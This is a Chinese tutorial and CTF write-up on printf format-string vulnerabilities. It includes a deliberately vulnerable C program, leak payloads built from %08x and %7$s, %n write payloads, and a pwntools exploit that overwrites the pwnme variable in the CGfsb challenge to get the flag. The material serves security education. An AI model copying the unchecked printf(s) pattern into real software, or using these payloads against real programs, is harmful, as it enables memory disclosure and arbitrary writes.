1、内存地址泄露
下面我们通过一个例子来了解printf任意地址读与写的前因后果!
#include <stdio.h>#include <string.h>int main(int argc,char **argv) { static int b=1; char s[100]; printf("%p\n",&b); strcpy(s,argv[1]); printf(s); printf("the values of b is %d\n",b); return 0;}
printf(s)为漏洞产生点,s为printf的第一个参数,当我们输入参数s含有格式符,此时格式符>传入参数(参数数为0),系统依旧会根据%去栈中寻找相应的参数。下面我们对上面的文件进行编译运行:
gcc -m32 -fno-stack-protector -no-pie -o test6 test6.c
./test6运行。当输入含格式符的字符串
"aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
时,输出一些类似于地址类的数据,那么这些数据是什么呢?会是泄露出来的内存地址吗?咱调试一下究竟!
![image]()
gdb调试开始!!!我们可以先用 disass main 对主函数进行反汇编一下,在漏洞点printf(s)的call printf下断点,输入c运行程序。![image]()
便于查看在printf附近的栈结构,可以发现format字符串所在的地址为0xffffd4dc,printf(s)只有一个参数, 因此format和vararg地址指向的是同一处,此时ESP栈指针指向的是地址0xffffd4c0。
![image]()
查看$esp向后的栈空间,再次输入c继续运行。观察输出的地址,发现我们输入的格式符("aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" )恰好将printf函数format参数地址所在栈空间(0xffffd4c0)-4后的所有地址输出了,造成了内存地址的泄露。且我们输入的第一个字符串aaaa在栈中输出的对应输出的第7个%08x所输出的地址,即距离aaaa的偏移量为7个地址单元。
![image]()
2、内存地址读与写
地址泄露出来了,那么接下来我们该怎么读取呢? %s !!!%s,以字符串格式输出,当我们输入%i$s 时代表在以字符串格式第 i 个偏移处的内存地址内容,构造任意读输入语句:(PS:%i\$s中反斜线主要是转义)
![image]()
例如:0x61616161这个地址已经被我们成功的写入到内存(0xffffd4dc)中了,当我们用 "`printf "\xdc\xd4\xff\xff"`.%7\$s" 语句读取内存地址时,将会产生报错,原因是由于该内存地址不可读。
![image]()
读操作进行完毕,写操作还会远吗?
类似于读操作,只需要将%x换成%n即可。%n会将%之前所有变量的个数复制给一个变量。这里当我们输入 "`printf "\x20\xa0\x04\x08"`.%7\$n" 会将%前面有五个字符,因此%7$n会将5复制给第7个偏移量地址(0xffffd4dc)内容所指向的地址(0x0804a020),有点绕,咱简单画个图解析一下吧!
![image]()
运行结果如下:
![image]()
利用printf对地址的任意读与写也正是利用了上面的内存泄漏。下面我们通过对一题的分析来具体解读一下printf对地址的任意读与写吧!(具体的文件参见文末。)
先查看一下基本信息:checksec fsb
[*] '/home/giantbranch/test_pwn/0838/CGfsb' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
将文件放入ida中进行查看,伪代码主要部分如下:
puts("please tell me your name:"); read(0, &v4, 0xAu); puts("leave your message please:"); fgets((char *)&v7, 100, stdin); printf("hello %s", &v4); puts("your message is:"); printf((const char *)&v7); if ( pwnme == 8 ) { puts("you pwned me, here is your flag:\n"); system("cat flag"); }
通过伪代码我们可以发现当pwnme值为8时,我们便可以成功获得flag!那么接下来,查看pwnme。
.bss:0804A068 public pwnme.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r.bss:0804A068 _bss ends.bss:0804A068
可知变量pwnme处于 .bss段(指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域),属于全局变量。
分析漏洞点的语句,类似于printf(&s),输出的参数来自于puts("leave your message please:")后面fgets输入的参数,我们可以利用上面printf任意地址读的思路查看读需要的偏移量:(PS:%x是输出16进制数据,08表示宽度,不足8为左边按0补齐)
![image]()
由输出的堆栈信息,可以发现aaaa在的ascii码在第10个位置被输出了。
确定好了任意读的偏移量,下一步,任意地址写!
在上面我们分析变量pwnme时得出地址为0x0804A068,由此我们可以试着构造exp:
from pwn import *p=process('./CGfsb')pwnme_addr=0x0804a068payload=p32(pwnme_addr)+'aaaa%10$n'p.recvuntil('please tell me your name:\n')p.sendline('aaaaaaa')p.recvuntil('leave your message please:\n')p.sendline(payload)print p.recv()
结果输出:
![image]()
例子附件:
参考链接:
https://bbs.pediy.com/thread-253638.htm
https://blog.csdn.net/qq_43394612/article/details/84900668
https://www.cnblogs.com/pwn2web/p/12077965.html
https://www.cnblogs.com/ichunqiu/p/9329387.html